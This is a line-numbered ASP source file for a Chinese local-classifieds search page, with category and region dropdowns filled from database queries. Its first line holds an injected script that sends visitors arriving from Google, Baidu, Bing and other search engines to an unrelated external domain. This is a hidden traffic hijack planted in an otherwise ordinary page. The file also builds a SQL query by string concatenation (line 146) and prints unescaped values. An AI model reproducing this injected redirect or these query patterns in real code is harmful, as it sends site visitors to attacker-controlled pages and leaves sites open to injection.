d:\wwwroot\wuchunhua\Advancesearch.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="inc/conn.asp"-->
002: <!--#include file="config.asp"-->
003: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
004: <html>
005: <head>
006: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
007: <meta http-equiv="Content-Language" content="gb2312">
008: <meta name=keywords content="<%=title%>,同城搜索">
009: <meta name="description" content="同城搜索">
010: <link rel="SHORTCUT ICON" href="favicon.ico">
011: <link rel="Bookmark" href="favicon.ico">
012: <link type="text/css" rel="stylesheet" href="image/search.css">
013: <title><%=title%>-同城搜索</title>
014: <script language="JavaScript">
015: function dis(i,num){
016:   for(g=1;g<=num;g++){
017:    document.getElementById("tit"+g).className="S2";
018:    document.getElementById("Key"+g).style.display="none";
019:   }
020:   document.getElementById("tit"+i).className="S1";
021:   document.getElementById("Key"+i).style.display = "";
022: }
023: </script>
024: </head>
025: <body>
026:
027: <div id=div>
028:   <div class=Slogo><a href=/><img src="Image/logo.gif" border="0"></a></div>
029:   <div class=Scon>
030:     <div class=S4></div>
031:     <div class=S1 id=tit1 onClick="dis(1,3)">分类信息</div>
032:     <div class=S3></div>
033:     <div class=S2 id=tit2 onClick="dis(2,3)">店 铺</div>
034:     <div class=S3></div>
035:     <div class=S2 id=tit3 onClick="dis(3,3)">资 讯</div>
036:     <div class=S5></div>
037:     <div ID=Key1>
038:       <div class=Sinput>
039:       <form action="Search1.asp?kqiqi=fl" name="myform" method="POST">
040:      <input name="Type" type=hidden value="Class">
041:       <%
042: dim rsc,sqlc
043: set rsc=server.createobject("adodb.recordset")
044: sqlc = "select * from class1 order by paixu desc"
045: rsc.open sqlc,conn,1,1
046: if rsc.eof and rsc.bof then
047: response.write "请先添加栏目。"
048: response.end
049: else
050: %
><SELECT name="fl"  size="1"  >
051: <OPTION selected value="0" >信息分类</OPTION>
052: <%do while not rsc.eof
053: %
><OPTION value="<%=trim(rsc("id"))%>"><%=trim(rsc("class1"))%></OPTION>
054: <%
055: rsc.movenext
056: loop
057: end if
058: rsc.close
059: set rsc=nothing
060: %
></SELECT>
061: <%if diqu1="1" then call dix() else call dix1()end if%>
062:
063:      <input name="Key" type="text"  size="35" title="小提示:请输入关键词"> <input name="submit" type="submit" value="同城搜索">  
064:      </div>
065:
066:       </form>
067:       </div>
068:    <!--===================-->
069:    <div ID=Key2 Style='display:none'>
070:       <div class=Sinput>
071:     <form action="Search1.asp?kqiqi=sj" name="form2" method="POST">
072:          <%
073: dim rsd,sqld
074: set rsd=server.createobject("adodb.recordset")
075: sqld = "select * from sjcla1 order by paixu desc"
076: rsd.open sqld,conn,1,1
077: if rsd.eof and rsd.bof then
078: response.write "请先添加栏目。"
079: response.end
080: else
081: %
><SELECT name="sj"  size="1"  >
082: <OPTION selected value="0" >店铺分类</OPTION>
083: <%do while not rsd.eof
084: %
><OPTION value="<%=trim(rsd("id"))%>"><%=trim(rsd("sjcla1"))%></OPTION>
085: <%
086: rsd.movenext
087: loop
088: end if
089: rsd.close
090: set rsd=nothing
091: %
></SELECT>
092: <%if diqu1="1" then call dix() else call dix1()end if%>
093:
094: <input name="Key" type="text"  size="35" title="小提示:请输入关键词"> <input name="submit" type="submit" value="同城搜索">
095:      </div>
096:     
097:     </form>
098:
099:    </div>
100:   
101:    <div ID=Key3 Style='display:none'>
102:    <div class=Sinput>
103:    <form action="Search1.asp?kqiqi=ruirui" name="form3" method="POST">
104: <SELECT size="1" name="ruirui">
105:               <OPTION selected value="资讯分类">资讯分类</OPTION>
106:               <%set rs_lei = server.createobject("adodb.recordset")                                            
107:          sql = "select * from kqiqi_newsfl"                                            
108:          rs_lei.open sql,conn,1,1                                          
109:          do while not rs_lei.eof%
>
110:               <OPTION value="<%=rs_lei("newsname")%>"><%=rs_lei("newsname")%></OPTION>
111:               <%rs_lei.movenext                                        
112:         loop                                                
113:         rs_lei.close                                      
114:         set rs_lei = nothing%
>
115:             </SELECT>
116:             <input name="Key" type="text"  size="35" title="小提示:请输入关键词"> <input name="submit" type="submit" value="同城搜索">
117:      </div>
118:     
119:     </form>
120:
121:      </div>
122:      </div>
123: </div>
124: <%
125: '选择地区
126: sub dix()
127: set rsdq=server.createobject("adodb.recordset")
128: sqldq = "select diqu from config "
129: rsdq.open sqldq,conn,1,1
130: diqu=split(rsdq("diqu"),"|")
131: xn=diqu(0)
132: response.write "<select name=""diqu"">"
133: response.write "<option value=选择地区>选择地区</option>"
134: for x=1 to xn
135: response.write "<option value="""&diqu(x)&""">"&diqu(x)&"</option>"
136: next
137: response.write "</select>"
138: rsdq.close
139: set rsdq=nothing
140: end sub
141:
142: sub dix1()
143: response.write "<select size=1 name=diqu>"
144: response.write "<option value=选择地区>选择地区</option>"
145: dim sqlr,rsquyu
146: sqlr="select * from kqiqi_area where city='"&city&"'"
147: set rsquyu=conn.execute(sqlr)
148: do while not rsquyu.eof
149: response.write "<option value="&rsquyu("diqu")&">"&rsquyu("diqu")&"</option>"
150: rsquyu.movenext
151: loop
152: rsquyu.close
153: response.write "</select><input type=""hidden"" name=city  value="&city&">"
154: end sub
155: response.write "<div align=center>"&adclass3&""
156: %
>
157:
158: <table width="980"  class="td">
159: <tr>
160: <td height="25">
161: <p align="center"><a target="_blank" href="contact.asp">联系我们</a> -
162: <a target="_blank" href="about.asp">关于我们</a> -
163: <a target="_blank" href="exemption.asp">免责声明</a> -
164: <a target="_blank" href="advertisement.asp">广告服务</a> -
165: <a target="_blank" href="help.asp">帮助中心</a>  -
166: <a target="_blank" href="feedback.asp">意见反馈</a>  -
167: <a target="_blank" href="addlink.asp">友情链接</a>  -
168: <a href="<%=web%>" onClick="this.style.behavior='url(#default#homepage)';this.setHomePage('<%=web%>');">设为首页</a> -
169: <a href="javascript:window.external.AddFavorite('<%=web%>', '<%=title%>')">收藏本站</a>
170: </td>
171: </tr>
172: </table>
173: <table width="980"><tr><td>
174: <p align="center" style="line-height: 150%">Copyright 2008 &copy; <%=title%> All Rights Reserved.<br><%=coryright%></p></td></tr></table>
175:
176: </div>
177: </body>
178: </html>
179:
180: